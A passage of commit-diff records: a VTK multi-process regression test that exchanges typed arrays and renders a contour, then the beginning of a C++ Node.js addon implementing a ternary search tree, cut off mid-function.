op->PipelineFlagOn();\n op->SetParameterMethod(UpdateXFreq, id);\n op->SetParameterMethodArgDelete(DeleteAnArg);\n op->WaitForUpdate();\n id->Delete();\n\n op->Delete();\n}\n\nvoid Process2(vtkMultiProcessController *contr, void *arg)\n{\n GenericCommunicatorArgs_tmp* args = \n reinterpret_cast<GenericCommunicatorArgs_tmp*>(arg);\n\n vtkCommunicator* comm = contr->GetCommunicator();\n\n int i;\n\n \/\/ Test sending all supported types of arrays\n int datai[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datai[i] = i;\n }\n vtkIntArray* ia = vtkIntArray::New();\n ia->SetArray(datai, 10, 1);\n if (!comm->Send(ia, 0, 11))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ia->Delete();\n\n unsigned long dataul[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n dataul[i] = static_cast<unsigned long>(i);\n }\n vtkUnsignedLongArray* ula = vtkUnsignedLongArray::New();\n ula->SetArray(dataul, 10, 1);\n if (!comm->Send(ula, 0, 22))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ula->Delete();\n\n char datac[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datac[i] = static_cast<char>(i);\n }\n vtkCharArray* ca = vtkCharArray::New();\n ca->SetArray(datac, 10, 1);\n if (!comm->Send(ca, 0, 33))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ca->Delete();\n\n unsigned char datauc[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datauc[i] = static_cast<unsigned char>(i);\n }\n vtkUnsignedCharArray* uca = vtkUnsignedCharArray::New();\n uca->SetArray(datauc, 10, 1);\n if (!comm->Send(uca, 0, 44))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n uca->Delete();\n\n float dataf[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n dataf[i] = static_cast<float>(i);\n }\n vtkFloatArray* fa = vtkFloatArray::New();\n fa->SetArray(dataf, 10, 1);\n if (!comm->Send(fa, 0, 7))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n fa->Delete();\n\n\n double datad[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datad[i] = static_cast<double>(i);\n }\n vtkDoubleArray* da = vtkDoubleArray::New();\n da->SetArray(datad, 10, 1);\n if (!comm->Send(da, 0, 7))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n da->Delete();\n\n vtkIdType datait[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datait[i] = static_cast<vtkIdType>(i);\n }\n vtkIdTypeArray* ita = vtkIdTypeArray::New();\n ita->SetArray(datait, 10, 1);\n if (!comm->Send(ita, 0, 7))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ita->Delete();\n\n \/\/ Test the ports\n vtkInputPort* ip = vtkInputPort::New();\n ip->SetController(contr);\n ip->SetTag(45);\n ip->SetRemoteProcessId(0);\n\n \/\/ Get polydata\n ip->GetImageDataOutput()->Update();\n\n vtkContourFilter* cf = vtkContourFilter::New();\n cf->SetInput(ip->GetImageDataOutput());\n cf->SetNumberOfContours(1);\n cf->SetValue(0, 220);\n\n vtkPolyDataMapper* pmapper = vtkPolyDataMapper::New();\n pmapper->SetInput(cf->GetOutput());\n cf->Delete();\n\n vtkActor* pactor = vtkActor::New();\n pactor->SetMapper(pmapper);\n pmapper->UnRegister(0);\n\n vtkRenderer* ren = vtkRenderer::New();\n ren->AddActor(pactor);\n pactor->UnRegister(0);\n\n vtkRenderWindow* renWin = vtkRenderWindow::New();\n renWin->AddRenderer(ren);\n ren->UnRegister(0);\n\n vtkRenderWindowInteractor* iren = vtkRenderWindowInteractor::New();\n iren->SetRenderWindow(renWin);\n iren->Initialize();\n\n renWin->Render();\n renWin->Render();\n\n *(args->retVal) = \n vtkRegressionTester::Test(args->argc, args->argv, renWin, 10);\n\n if ( *(args->retVal) == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n iren->Delete();\n\n contr->TriggerRMI(0, vtkMultiProcessController::BREAK_RMI_TAG);\n\n ip->Delete();\n renWin->Delete();\n}\n\nint main(int argc, char** argv)\n{\n vtkDebugLeaks::PromptUserOff();\n\n vtkMultiProcessController* contr = vtkMultiProcessController::New();\n contr->Initialize(&argc, &argv);\n\n vtkParallelFactory* pf = vtkParallelFactory::New();\n vtkObjectFactory::RegisterFactory(pf);\n pf->Delete();\n\n \/\/ This is repeated for the sake of MPI. This one might not\n \/\/ get called by the parent process, the first one might not\n \/\/ get called by all others.\n vtkDebugLeaks::PromptUserOff();\n\n \/\/ When using MPI, the number of processes is determined\n \/\/ by the external program which launches this application.\n \/\/ However, when using threads, we need to set it ourselves.\n if (contr->IsA(\"vtkThreadedController\"))\n {\n \/\/ Set the number of processes to 2 for this example.\n contr->SetNumberOfProcesses(2);\n } \n\n \/\/ Added for regression test.\n \/\/ ----------------------------------------------\n int retVal;\n GenericCommunicatorArgs_tmp args;\n args.retVal = &retVal;\n args.argc = argc;\n args.argv = argv;\n \/\/ ----------------------------------------------\n\n contr->SetMultipleMethod(0, Process1, 0);\n contr->SetMultipleMethod(1, Process2, &args);\n contr->MultipleMethodExecute();\n \n contr->Finalize();\n contr->Delete();\n\n return !retVal;\n}\n<commit_msg>Increasing coverage.<commit_after>#include \"vtkMultiProcessController.h\"\n#include \"vtkDoubleArray.h\"\n#include \"vtkCharArray.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkUnsignedLongArray.h\"\n#include \"vtkFloatArray.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkOutputPort.h\"\n#include \"vtkDebugLeaks.h\"\n#include \"vtkActor.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderer.h\"\n#include \"vtkInputPort.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkParallelFactory.h\"\n#include \"vtkRTAnalyticSource.h\"\n#include \"vtkContourFilter.h\"\n#include \"vtkRenderWindowInteractor.h\"\n\n#include \"vtkDebugLeaks.h\"\n#include \"vtkRegressionTestImage.h\"\n\nstatic const int scMsgLength = 10;\n\nstruct GenericCommunicatorArgs_tmp\n{\n int* retVal;\n int argc;\n char** argv;\n};\n\nstatic void UpdateXFreq(void* arg)\n{\n vtkRTAnalyticSource* id = reinterpret_cast<vtkRTAnalyticSource*>(arg);\n id->SetXFreq(id->GetXFreq()+20);\n}\n\nstatic void DeleteAnArg(void*)\n{\n return;\n}\n\nvoid Process1(vtkMultiProcessController *contr, void *arg)\n{\n vtkCommunicator* comm = contr->GetCommunicator();\n\n int i;\n\n \/\/ Test receiving all supported types of arrays\n vtkIntArray* ia = vtkIntArray::New();\n if (!comm->Receive(ia, 1, 11))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ia->GetNumberOfTuples(); i++)\n {\n if (ia->GetValue(i) != i)\n {\n cerr << \"Server error: Corrupt integer array.\" << endl;\n }\n }\n ia->Delete();\n\n vtkUnsignedLongArray* ula = vtkUnsignedLongArray::New();\n if (!comm->Receive(ula, 1, 22))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ula->GetNumberOfTuples(); i++)\n {\n if (ula->GetValue(i) != static_cast<unsigned long>(i))\n {\n cerr << \"Server error: Corrupt unsigned long array.\" << endl;\n }\n }\n ula->Delete();\n\n vtkCharArray* ca = vtkCharArray::New();\n if (!comm->Receive(ca, 1, 33))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ca->GetNumberOfTuples(); i++)\n {\n if (ca->GetValue(i) != static_cast<char>(i))\n {\n cerr << \"Server error: Corrupt char array.\" << endl;\n }\n }\n ca->Delete();\n\n vtkUnsignedCharArray* uca = vtkUnsignedCharArray::New();\n if (!comm->Receive(uca, 1, 44))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<uca->GetNumberOfTuples(); i++)\n {\n if (uca->GetValue(i) != static_cast<unsigned char>(i))\n {\n cerr << \"Server error: Corrupt unsigned char array.\" << endl;\n }\n }\n uca->Delete();\n\n vtkFloatArray* fa = vtkFloatArray::New();\n if (!comm->Receive(fa, 1, 7))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<fa->GetNumberOfTuples(); i++)\n {\n if (fa->GetValue(i) != static_cast<float>(i))\n {\n cerr << \"Server error: Corrupt float array.\" << endl;\n }\n }\n fa->Delete();\n\n vtkDoubleArray* da = vtkDoubleArray::New();\n if (!comm->Receive(da, 1, 7))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<da->GetNumberOfTuples(); i++)\n {\n if (da->GetValue(i) != static_cast<double>(i))\n {\n cerr << \"Server error: Corrupt double array.\" << endl;\n }\n }\n da->Delete();\n\n vtkIdTypeArray* ita = vtkIdTypeArray::New();\n if (!comm->Receive(ita, 1, 7))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ita->GetNumberOfTuples(); i++)\n {\n if (ita->GetValue(i) != static_cast<vtkIdType>(i))\n {\n cerr << \"Server error: Corrupt vtkIdType array.\" << endl;\n }\n }\n ita->Delete();\n\n vtkOutputPort* op = vtkOutputPort::New();\n op->SetController(contr);\n op->SetTag(45);\n\n float extent = 20;\n vtkRTAnalyticSource* id = vtkRTAnalyticSource::New();\n id->SetWholeExtent (-extent, extent, -extent, extent, -extent, extent); \n id->SetCenter(0, 0, 0);\n id->SetStandardDeviation( 0.5 );\n id->SetMaximum( 255.0 );\n id->SetXFreq( 60 );\n id->SetXMag( 10 );\n id->SetYFreq( 30 );\n id->SetYMag( 18 );\n id->SetZFreq( 40 );\n id->SetZMag( 5 );\n id->GetOutput()->SetSpacing(2.0\/extent,2.0\/extent,2.0\/extent);\n\n op->SetInput(id->GetOutput());\n op->PipelineFlagOn();\n op->SetParameterMethod(UpdateXFreq, id);\n op->SetParameterMethodArgDelete(DeleteAnArg);\n op->WaitForUpdate();\n id->Delete();\n\n op->Delete();\n}\n\nvoid Process2(vtkMultiProcessController *contr, void *arg)\n{\n GenericCommunicatorArgs_tmp* args = \n reinterpret_cast<GenericCommunicatorArgs_tmp*>(arg);\n\n vtkCommunicator* comm = contr->GetCommunicator();\n\n int i;\n\n \/\/ Test sending all supported types of arrays\n int datai[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datai[i] = i;\n }\n vtkIntArray* ia = vtkIntArray::New();\n ia->SetArray(datai, 10, 1);\n if (!comm->Send(ia, 0, 11))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ia->Delete();\n\n unsigned long dataul[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n dataul[i] = static_cast<unsigned long>(i);\n }\n vtkUnsignedLongArray* ula = vtkUnsignedLongArray::New();\n ula->SetArray(dataul, 10, 1);\n if (!comm->Send(ula, 0, 22))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ula->Delete();\n\n char datac[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datac[i] = static_cast<char>(i);\n }\n vtkCharArray* ca = vtkCharArray::New();\n ca->SetArray(datac, 10, 1);\n if (!comm->Send(ca, 0, 33))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ca->Delete();\n\n unsigned char datauc[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datauc[i] = static_cast<unsigned char>(i);\n }\n vtkUnsignedCharArray* uca = vtkUnsignedCharArray::New();\n uca->SetArray(datauc, 10, 1);\n if (!comm->Send(uca, 0, 44))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n uca->Delete();\n\n float dataf[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n dataf[i] = static_cast<float>(i);\n }\n vtkFloatArray* fa = vtkFloatArray::New();\n fa->SetArray(dataf, 10, 1);\n if (!comm->Send(fa, 0, 7))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n fa->Delete();\n\n\n double datad[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datad[i] = static_cast<double>(i);\n }\n vtkDoubleArray* da = vtkDoubleArray::New();\n da->SetArray(datad, 10, 1);\n if (!comm->Send(da, 0, 7))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n da->Delete();\n\n vtkIdType datait[scMsgLength];\n for (i=0; i<scMsgLength; i++)\n {\n datait[i] = static_cast<vtkIdType>(i);\n }\n vtkIdTypeArray* ita = vtkIdTypeArray::New();\n ita->SetArray(datait, 10, 1);\n if (!comm->Send(ita, 0, 7))\n {\n cerr << \"Client error: Error sending data.\" << endl;\n }\n ita->Delete();\n\n \/\/ Test the ports\n vtkInputPort* ip = vtkInputPort::New();\n ip->SetController(contr);\n ip->SetTag(45);\n ip->SetRemoteProcessId(0);\n\n \/\/ Get polydata\n ip->GetImageDataOutput()->Update();\n\n vtkContourFilter* cf = vtkContourFilter::New();\n cf->SetInput(ip->GetImageDataOutput());\n cf->SetNumberOfContours(1);\n cf->SetValue(0, 220);\n\n vtkPolyDataMapper* pmapper = vtkPolyDataMapper::New();\n pmapper->SetInput(cf->GetOutput());\n cf->Delete();\n\n vtkActor* pactor = vtkActor::New();\n pactor->SetMapper(pmapper);\n pmapper->UnRegister(0);\n\n vtkRenderer* ren = vtkRenderer::New();\n ren->AddActor(pactor);\n pactor->UnRegister(0);\n\n vtkRenderWindow* renWin = vtkRenderWindow::New();\n renWin->AddRenderer(ren);\n ren->UnRegister(0);\n\n vtkRenderWindowInteractor* iren = vtkRenderWindowInteractor::New();\n iren->SetRenderWindow(renWin);\n iren->Initialize();\n\n renWin->Render();\n renWin->Render();\n\n *(args->retVal) = \n vtkRegressionTester::Test(args->argc, args->argv, renWin, 10);\n\n if ( *(args->retVal) == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n iren->Delete();\n\n contr->TriggerRMI(0, vtkMultiProcessController::BREAK_RMI_TAG);\n\n ip->Delete();\n renWin->Delete();\n}\n\nint main(int argc, char** argv)\n{\n vtkDebugLeaks::PromptUserOff();\n\n vtkMultiProcessController* contr = vtkMultiProcessController::New();\n contr->Initialize(&argc, &argv);\n contr->CreateOutputWindow();\n\n vtkParallelFactory* pf = vtkParallelFactory::New();\n vtkObjectFactory::RegisterFactory(pf);\n pf->Delete();\n\n \/\/ This is repeated for the sake of MPI. This one might not\n \/\/ get called by the parent process, the first one might not\n \/\/ get called by all others.\n vtkDebugLeaks::PromptUserOff();\n\n \/\/ When using MPI, the number of processes is determined\n \/\/ by the external program which launches this application.\n \/\/ However, when using threads, we need to set it ourselves.\n if (contr->IsA(\"vtkThreadedController\"))\n {\n \/\/ Set the number of processes to 2 for this example.\n contr->SetNumberOfProcesses(2);\n } \n\n \/\/ Added for regression test.\n \/\/ ----------------------------------------------\n int retVal;\n GenericCommunicatorArgs_tmp args;\n args.retVal = &retVal;\n args.argc = argc;\n args.argv = argv;\n \/\/ ----------------------------------------------\n\n contr->SetMultipleMethod(0, Process1, 0);\n contr->SetMultipleMethod(1, Process2, &args);\n contr->MultipleMethodExecute();\n \n contr->Finalize();\n contr->Delete();\n\n return !retVal;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cstring>\n#include <deque>\n#include <vector>\n\n#include <iostream>\n#include <string>\n\n#include <node.h>\n#include <node_buffer.h>\n#include <node_object_wrap.h>\n#include <v8.h>\n\n#include \"MemoryPool.h\"\n\nusing namespace v8;\n\n\/**\n * A string whose characters are stored elsewhere.\n *\n * The argument-free constructor will return a \"null string\". Basically, it's\n * a hack that probably behaves the way you expect. (Its memory address is\n * NULL.)\n *\/\nstruct SimpleString\n{\n const char* s;\n size_t len;\n\n SimpleString(const char* aS, size_t aLen) : s(aS), len(aLen) {}\n SimpleString() : s(NULL), len(0) {}\n SimpleString(const SimpleString& rhs) : s(rhs.s), len(rhs.len) {}\n\n inline bool isNull() const { return s == NULL; }\n};\n\nstruct TSTNode\n{\n char ch;\n TSTNode* left;\n TSTNode* eq;\n TSTNode* right;\n const SimpleString* value; \/\/ value != NULL iff this is a leaf node\n\n explicit TSTNode(char aCh)\n : ch(aCh),\n left(NULL),\n eq(NULL),\n right(NULL),\n value(NULL) {}\n\n ~TSTNode()\n {\n if (this->left) delete this->left;\n if (this->eq) delete this->eq;\n if (this->right) delete this->right;\n }\n};\n\nstatic const size_t NodePoolChunkSize = 65536; \/\/ 4096 is slower, according to perf.js\n\n\/**\n * Ternary search tree.\n *\n * Every string inserted into this tree will be an external one. That means the\n * caller must ensure none of those strings are freed until the TST is deleted.\n *\/\nclass TST\n{\npublic:\n void insert(const SimpleString& key, const SimpleString* value)\n {\n if (key.len == 0) return; \/\/ We don't store zero-length strings\n\n this->_insert(&this->root, key.s, key.len, value);\n }\n\n bool contains(const char* s, size_t len) const\n {\n const TSTNode* node = this->getNode(s, len);\n\n return node != NULL;\n }\n\n const SimpleString* get(const char* s, size_t len) const\n {\n const TSTNode* node = this->getNode(s, len);\n\n if (node == NULL) {\n return NULL;\n } else if (node->value->isNull()) {\n \/\/ Every leaf node has a value, but it might be a null string.\n return NULL;\n } else {\n return node->value;\n }\n }\n\n explicit TST() : root(NULL) {}\n\nprivate:\n TSTNode* root;\n MemoryPool<TSTNode,NodePoolChunkSize> pool;\n\n void _insert(TSTNode** nodeAddress, const char* s, size_t len, const SimpleString* value) {\n char ch = *s;\n\n if (*nodeAddress == NULL) {\n *nodeAddress = pool.newElement(ch);\n \/\/ All the nodes get deleted by the MemoryPool when we destroy the TST\n }\n\n TSTNode* node = *nodeAddress;\n\n if (ch < node->ch) {\n this->_insert(&node->left, s, len, value);\n } else if (ch > node->ch) {\n this->_insert(&node->right, s, len, value);\n } else if (len > 1) {\n this->_insert(&node->eq, &s[1], len - 1, value);\n } else {\n node->value = value;\n }\n }\n\n const TSTNode* getNode(const char* s, size_t len) const {\n if (len == 0) return NULL; \/\/ We don't store zero-length strings\n\n return this->_getNode(this->root, s, len); \/\/ recursive search\n }\n\n const TSTNode* _getNode(const TSTNode* node, const char* s, size_t len) const {\n \/\/ Assume len > 0\n for (;;) {\n if (node == NULL) return NULL; \/\/ No match\n\n char ch = *s;\n\n if (ch < node->ch) {\n node = node->left;\n } else if (ch > node->ch) {\n node = node->right;\n } else if (len > 1) {\n node = node->eq;\n s++;\n len--;\n } else if (node->value != NULL) {\n return node; \/\/ match\n } else {\n return NULL; \/\/ end of search\n }\n }\n }\n};\n\nclass TernaryBufferTree : public node::ObjectWrap {\npublic:\n static void Init(Handle<Object> exports);\n static Persistent<Function> constructor;\n\n inline bool contains(const char* s, size_t len) const;\n const SimpleString* get(const char* s, size_t len) const;\n std::vector<SimpleString> findAllMatches(const char* s, size_t len, size_t maxNgramSize);\n\nprivate:\n char* mem = NULL;\n SimpleString* strings = NULL;\n TST tree;\n\n explicit TernaryBufferTree(const char* s, size_t len);\n ~TernaryBufferTree();\n\n static void New(const FunctionCallbackInfo<Value>& args);\n static void Contains(const FunctionCallbackInfo<Value>& args);\n static void Get(const FunctionCallbackInfo<Value>& args);\n static void FindAllMatches(const FunctionCallbackInfo<Value>& args);\n};\n\nPersistent<Function> TernaryBufferTree::constructor;\n\nstatic size_t\ncount_char_in_str(char ch, const char* s, size_t len) {\n size_t ret = 0;\n\n while (len > 0) {\n if (*s == ch) ret++;\n len--;\n s++;\n }\n\n return ret;\n}\n\n\/**\n * Insert Strings into a TST.\n *\n * We assume the Strings are sorted. Insert the median first, then recurse.\n * That's described in \"Better Insertion Orders\" at\n * http:\/\/www.drdobbs.com\/database\/ternary-search-trees\/184410528?pgno=2\n *\n * The `tokens` passed here are in *pairs*: that is, tokens[0] is a key,\n * tokens[1] is its value; tokens[2] is the next key with tokens[3] as its\n * value; etc. The `begin` and `end` describe the *pairs*, not the tokens:\n * when `begin == end == 1`, then the key is `tokens[2]` and the value is\n * `tokens[3]`.\n *\/\nstatic void\ninsert_many(TST& tree, SimpleString tokens[], size_t begin, size_t end)\n{\n if (end == begin) return;\n\n size_t mid = (begin + end - 1) >> 1;\n tree.insert(tokens[mid * 2], &tokens[mid * 2 + 1]);\n\n if (mid > begin) insert_many(tree, tokens, begin, mid);\n if (mid < end - 1) insert_many(tree, tokens, mid + 1, end);\n}\n\nTernaryBufferTree::TernaryBufferTree(const char* s, size_t len)\n{\n this->mem = new char[len];\n memcpy(this->mem, s, len);\n\n size_t nTokens = count_char_in_str('\\n', s, len) + 1;\n this->strings = new SimpleString[nTokens * 2];\n\n SimpleString* curString = &this->strings[0];\n bool foundTabThisLine = false;\n\n curString->s = this->mem;\n\n const char* end = this->mem + len;\n for (const char* p = this->mem; p < end; p++) {\n switch (*p) {\n case '\\n':\n curString->len = p - curString->s;\n curString++;\n\n if (!foundTabThisLine) {\n curString++; \/\/ There's no value\n }\n foundTabThisLine = false;\n\n curString->s = &p[1]; \/\/ Start parsing the next line\n break;\n case '\\t':\n curString->len = p - curString->s;\n curString++;\n foundTabThisLine = true;\n curString->s = &p[1]; \/\/ Start parsing the value\n break;\n }\n }\n curString->len = end - curString->s;\n\n insert_many(this->tree, this->strings, 0, nTokens);\n}\n\nTernaryBufferTree::~TernaryBufferTree()\n{\n delete[] this->mem;\n delete[] this->strings;\n}\n\nbool\nTernaryBufferTree::contains(const char* s, size_t len) const\n{\n return this->tree.contains(s, len);\n}\n\nconst SimpleString*\nTernaryBufferTree::get(const char* s, size_t len) const\n{\n return this->tree.get(s, len);\n}\n\nstd::vector<SimpleString>\nTernaryBufferTree::findAllMatches(const char* s, size_t len, size_t maxNgramSize) {\n std::vector<SimpleString> ret;\n std::deque<const char*> tokenStarts;\n const char* lastP = s;\n const char* end = s + len;\n\n tokenStarts.push_back(s);\n\n while (true) {\n const char* p = static_cast<const char*>(memchr(lastP, ' ', end - lastP));\n if (p == NULL) p = s + len;\n\n \/\/ Add s[tokenStarts[0],pos), s[tokenStarts[1],pos), ... for every token\n \/\/ in the set\n for (auto i = tokenStarts.begin(); i < tokenStarts.end(); i++) {\n const char* tokenStart = *i;\n if (this->tree.contains(tokenStart, p - tokenStart)) {\n ret.push_back(SimpleString(tokenStart, p - tokenStart));\n }\n }\n\n if (tokenStarts.size() == maxNgramSize) tokenStarts.pop_front();\n\n if (p == s + len) break;\n\n lastP = p + 1;\n tokenStarts.push_back(lastP);\n }\n\n return ret;\n}\n\nvoid\nTernaryBufferTree::Init(Handle<Object> exports) {\n Isolate* isolate = Isolate::GetCurrent();\n\n \/\/ Prepare constructor template\n Local<FunctionTemplate> tpl = FunctionTemplate::New(isolate, New);\n tpl->SetClassName(String::NewFromUtf8(isolate, \"TernaryBufferTree\"));\n tpl->InstanceTemplate()->SetInternalFieldCount(1);\n\n \/\/ Prototype\n NODE_SET_PROTOTYPE_METHOD(tpl, \"contains\", Contains);\n NODE_SET_PROTOTYPE_METHOD(tpl, \"get\", Get);\n NODE_SET_PROTOTYPE_METHOD(tpl, \"findAllMatches\", FindAllMatches);\n\n constructor.Reset(isolate, tpl->GetFunction());\n exports->Set(String::NewFromUtf8(isolate, \"TernaryBufferTree\"), tpl->GetFunction());\n}\n\nvoid\nTernaryBufferTree::New(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n\n if (args.IsConstructCall()) {\n \/\/ Invoked as constructor: `new MyObject(...)`\n const char* s = node::Buffer::Data(args[0]);\n const size_t len = node::Buffer::Length(args[0]);\n TernaryBufferTree* obj = new TernaryBufferTree(s, len);\n obj->Wrap(args.This());\n args.GetReturnValue().Set(args.This());\n } else {\n \/\/ Invoked as plain function `MyObject(...)`, turn into construct call\n Local<Value> argv[1] = { args[0] };\n Local<Function> cons = Local<Function>::New(isolate, constructor);\n args.GetReturnValue().Set(cons->NewInstance(1, argv));\n }\n}\n\nvoid TernaryBufferTree::Contains(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n TernaryBufferTree* obj = ObjectWrap::Unwrap<TernaryBufferTree>(args.Holder());\n\n bool ret = false;\n\n Local<Value> arg = args[0]; \/\/ Buffer or String\n\n if (node::Buffer::HasInstance(arg)) {\n \/\/ It's a buffer. Go char-by-char\n const char* data(node::Buffer::Data(arg));\n const size_t len(node::Buffer::Length(arg));\n\n ret = obj->contains(data, len);\n } else {\n \/\/ We can convert it to utf-8. On failure, it's just an empty String.\n String::Utf8Value argString(arg);\n ret = obj->contains(*argString, argString.length());\n }\n\n args.GetReturnValue().Set(ret);\n}\n\nvoid TernaryBufferTree::Get(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n TernaryBufferTree* obj = ObjectWrap::Unwrap<TernaryBufferTree>(args.Holder());\n\n const SimpleString* result;\n\n Local<Value> arg = args[0]; \/\/ Buffer or String\n\n if (node::Buffer::HasInstance(arg)) {\n \/\/ It's a buffer. Go char-by-char\n const char* data(node::Buffer::Data(arg));\n const size_t len(node::Buffer::Length(arg));\n\n result = obj->get(data, len);\n } else {\n \/\/ We can convert it to utf-8. On failure, it's just an empty String.\n String::Utf8Value argString(arg);\n result = obj->get(*argString, argString.length());\n }\n\n if (result != NULL) {\n Handle<String> ret(String::NewFromUtf8(isolate, result->s, String::NewStringType::kNormalString, result->len));\n args.GetReturnValue().Set(ret);\n }\n}\n\nvoid\nTernaryBufferTree::FindAllMatches(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n TernaryBufferTree* obj = ObjectWrap::Unwrap<TernaryBufferTree>(args.Holder());\n\n std::vector<SimpleString> ret;\n Handle<Array> retArray;\n\n Local<Value> arg = args[0]; \/\/ Buffer or String\n uint32_t maxNgramSize = args[1]->Uint32Value();\n if (maxNgramSize == 0) maxNgramSize = 1;\n\n if (node::Buffer::HasInstance(arg)) {\n const char* data(node::Buffer::Data(arg));\n const size_t len(node::Buffer::Length(arg));\n ret = obj->findAllMatches(data, len, maxNgramSize);\n\n \/\/ Icky copy\/paste, I know\n size_t size = ret.size();\n retArray = Array::New(isolate, size);\n for (size_t i = 0; i < size; i++) {\n retArray->Set(i, String::NewFromUtf8(isolate, ret[i].s, String::NewStringType::kNormalString, ret[i].len));\n }\n } else {\n \/\/ We can convert it to utf-8. On failure, it's just an empty String.\n String::Utf8Value argString(arg);\n ret = obj->findAllMatches(*argString, argString.length(), maxNgramSize);\n\n \/\/ Icky copy\/paste, I know\n size_t size = ret.size();\n retArray = Array::New(isolate, size);\n for (size_t i = 0; i < size; i++) {\n retArray->Set(i, String::NewFromUtf8(isolate, ret[i].s, String::NewStringType::kNormalString, ret[i].len));\n }\n }\n\n args.GetReturnValue().Set(retArray);\n}\n\nvoid\ninit(Handle<Object> exports, Handle<Object> module) {\n TernaryBufferTree::Init(exports);\n}\n\nNODE_MODULE(binding, init);\n<commit_msg>Optimize searches<commit_after>#include <cstring>\n#include <deque>\n#include <vector>\n\n#include <iostream>\n#include <string>\n\n#include <node.h>\n#include <node_buffer.h>\n#include <node_object_wrap.h>\n#include <v8.h>\n\n#include \"MemoryPool.h\"\n\nusing namespace v8;\n\n\/**\n * A string whose characters are stored elsewhere.\n *\n * The argument-free constructor will return a \"null string\". Basically, it's\n * a hack that probably behaves the way you expect. (Its memory address is\n * NULL.)\n *\/\nstruct SimpleString\n{\n const char* s;\n size_t len;\n\n SimpleString(const char* aS, size_t aLen) : s(aS), len(aLen) {}\n SimpleString() : s(NULL), len(0) {}\n SimpleString(const SimpleString& rhs) : s(rhs.s), len(rhs.len) {}\n\n inline bool isNull() const { return s == NULL; }\n};\n\nstruct TSTNode\n{\n char ch;\n TSTNode* left;\n TSTNode* eq;\n TSTNode* right;\n const SimpleString* value; \/\/ value != NULL iff this is a leaf node\n\n explicit TSTNode(char aCh)\n : ch(aCh),\n left(NULL),\n eq(NULL),\n right(NULL),\n value(NULL) {}\n\n ~TSTNode()\n {\n if (this->left) delete this->left;\n if (this->eq) delete this->eq;\n if (this->right) delete this->right;\n }\n};\n\nstatic const size_t NodePoolChunkSize = 65536; \/\/ 4096 is slower, according to perf.js\n\n\/**\n * Ternary search tree.\n *\n * Every string inserted into this tree will be an external one. That means the\n * caller must ensure none of those strings are freed until the TST is deleted.\n *\/\nclass TST\n{\npublic:\n void insert(const SimpleString& key, const SimpleString* value)\n {\n if (key.len == 0) return; \/\/ We don't store zero-length strings\n\n this->_insert(&this->root, key.s, key.len, value);\n }\n\n bool contains(const char* s, size_t len) const\n {\n const TSTNode* node = this->getNode(s, len);\n\n return node != NULL;\n }\n\n const SimpleString* get(const char* s, size_t len) const\n {\n const TSTNode* node = this->getNode(s, len);\n\n if (node == NULL) {\n return NULL;\n } else if (node->value->isNull()) {\n \/\/ Every leaf node has a value, but it might be a null string.\n return NULL;\n } else {\n return node->value;\n }\n }\n\n explicit TST() : root(NULL) {}\n\nprivate:\n TSTNode* root;\n MemoryPool<TSTNode,NodePoolChunkSize> pool;\n\n void _insert(TSTNode** nodeAddress, const char* s, size_t len, const SimpleString* value) {\n char ch = *s;\n\n if (*nodeAddress == NULL) {\n *nodeAddress = pool.newElement(ch);\n \/\/ All the nodes get deleted by the MemoryPool when we destroy the TST\n }\n\n TSTNode* node = *nodeAddress;\n\n if (ch < node->ch) {\n this->_insert(&node->left, s, len, value);\n } else if (ch > node->ch) {\n this->_insert(&node->right, s, len, value);\n } else if (len > 1) {\n this->_insert(&node->eq, &s[1], len - 1, value);\n } else {\n node->value = value;\n }\n }\n\n const TSTNode* getNode(const char* s, size_t len) const {\n if (len == 0) return NULL; \/\/ We don't store zero-length strings\n\n const TSTNode* node = this->root;\n\n for (;;) {\n if (node == NULL) return NULL; \/\/ No 